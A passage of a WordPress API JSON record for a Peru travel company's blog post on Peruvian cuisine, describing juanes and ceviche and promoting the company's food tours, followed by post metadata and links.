srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/Juane.jpeg?w=950&amp;ssl=1 950w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/Juane.jpeg?resize=300%2C150&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/09\/Juane.jpeg?resize=768%2C384&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Juanes, the Peruvian jungle dish<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>This mixture is then wrapped in banana leaves and steamed or boiled until the flavors meld together. People serve Juanes during festivals or special occasions. <\/p>\n\n\n\n<p>People enjoy them for their blend of flavors and the aroma of the banana leaves. A<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-cocona-perus-citrus-like-superfruit\/\" title=\"\"> cocona<\/a><\/strong> made spicy sauce or cream always goes well with it.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Ceviche<\/strong><\/h3>\n\n\n\n<p>Finally, we have the best at the end.<strong> <\/strong>Marinate fresh fish in a lime-based concoction with onions, aji amarillo, and rocoto peppers to produce<strong> <a class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-ceviche-perus-national-dish\/\">ceviche.<\/a><\/strong><\/p>\n\n\n\n<p>Traditionally, the fish is marinated for a few hours, but some individuals have recently marinated it for only a few minutes to get a lighter, less chewy texture.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/7-comida.jpg?resize=697%2C327&#038;ssl=1\" alt=\"Freshly made ceviche with onions, sweet potatoes, corn, and more\" class=\"wp-image-7947\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/7-comida.jpg?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/7-comida.jpg?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/7-comida.jpg?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/7-comida.jpg?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Peru&#8217;s flagship dish<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>The acidity of the lime &#8220;cooks&#8221; the fish, producing a firm texture and citrus flavor. Add finely chopped red onions, cilantro, and aji amarillo (Peruvian yellow chili pepper) for a spicy kick. <\/p>\n\n\n\n<p>Finally, season to taste with salt and pepper. This dish includes sweet potato and maize (cancha) on the side for a truly Peruvian twist, and it is served cold.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">More than just food<\/h2>\n\n\n\n<p>What do you think now? In conclusion, Peruvian food is diverse, awesome, and above all delicious, isn\u2019t it?\u00a0 For us, Peruvians, our food is valuable and one of the reasons for our pride.<\/p>\n\n\n\n<p>Therefore, we encourage you to try our meals if there\u2019s a Peruvian restaurant near your place. Gaston Acurio, one of Peru\u2019s most important chefs, said the following about Peruvian food:<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<blockquote class=\"wp-block-quote is-style-large is-layout-flow wp-block-quote-is-layout-flow\">\n<p><em><strong><span class=\"has-inline-color has-very-dark-gray-color\">\u201cThere\u2019s no Peruvian meal made without love\u201d<\/span><\/strong><\/em><\/p>\n<cite><em><strong><span class=\"has-inline-color has-very-dark-gray-color\">Gaston Acurio<\/span><\/strong><\/em><\/cite><\/blockquote>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<p>Finally, we, Peruvians, couldn&#8217;t agree more with him. We invite you to explore Peru and taste the authentic Peruvian cuisine with us!<\/p>\n\n\n\n<p><strong>Viagens Machu Picchu <\/strong>offers food tours and the chance to know <span style=\"box-sizing: border-box; margin: 0px; padding: 0px;\">our package destinations&#8217; cultures, traditions, and techniques<\/span><strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/packages\">.<\/a><\/strong><\/p>\n\n\n\n<p>So, feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong> to get more info! The culinary and mouthwatering adventure of your dreams in Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this blog, we\u2019ll see why Peruvian food is so special, what makes it different from other cuisines worldwide, and what dishes you must try when coming to our country.<\/p>\n","protected":false},"author":1,"featured_media":7961,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,192,1850],"tags":[1911,1922,1914,1917,1927,1924,1267,1920,1925,1916,1918,1241,1913,1926,1919,1923,1912,1465,1915,1921],"class_list":["post-7937","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-experiences","category-food","tag-aji-de-gallina","tag-beef-heart","tag-boiled-eggs","tag-boiled-potatoes","tag-de-gallina-creamy-chicken","tag-dish-is-served","tag-guinea-pig","tag-lime-juice","tag-lomo-saltado-stir-fried-beef","tag-onions-tomatoes","tag-papas-a-la-huancaina","tag-peruvian-cuisine","tag-peruvian-dishes","tag-pollo-a-la-brasa-roasted-chicken","tag-red-onions","tag-served-cold","tag-shredded-chicken","tag-south-america","tag-stir-fries","tag-sweet-potato"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Gastronomia.jpg?fit=1170%2C550&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-241","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7937","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=7937"}],"version-history":[{"count":18,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7937\/revisions"}],"predecessor-version":[{"id":17396,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/7937\/revisions\/17396"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/7961"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=7937"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=7937"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=7937"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}